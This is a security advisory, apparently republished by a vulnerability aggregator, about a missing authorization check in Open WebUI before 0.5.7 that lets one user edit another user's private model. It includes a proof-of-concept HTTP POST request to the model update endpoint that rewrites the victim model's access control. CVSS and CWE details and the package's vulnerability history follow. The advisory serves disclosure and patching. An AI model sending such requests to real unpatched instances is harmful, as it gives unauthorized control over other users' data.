Open WebUI missing authorization check at the model update function - models from other users can be updated
Summary
A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC
The user Victim created a private model with the visibility set to private:
The user Attacker can edit this model using the following POST request:
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}Request / Response
Impact
A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | open-webui | < 0.5.7 | 0.5.7 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N- Debilidad (CWE)
CWE-285- Plataforma
- Python (PyPI)
- Paquete
open-webui- Publicada
- 14.05.2026
- Actualizado
- 11.10.2026 14:18
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2727 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-gm54-m39w-grjp - CC BY 4.0
Historial de vulnerabilidades: open-webui
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 161
- Primera → última
- 08.2024 09.2026
- Sin corrección
- 11
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 77
- Media 75
- Baja 8
Divulgaciones por año
- 2024: 3
- 2025: 21
- 2026: 137
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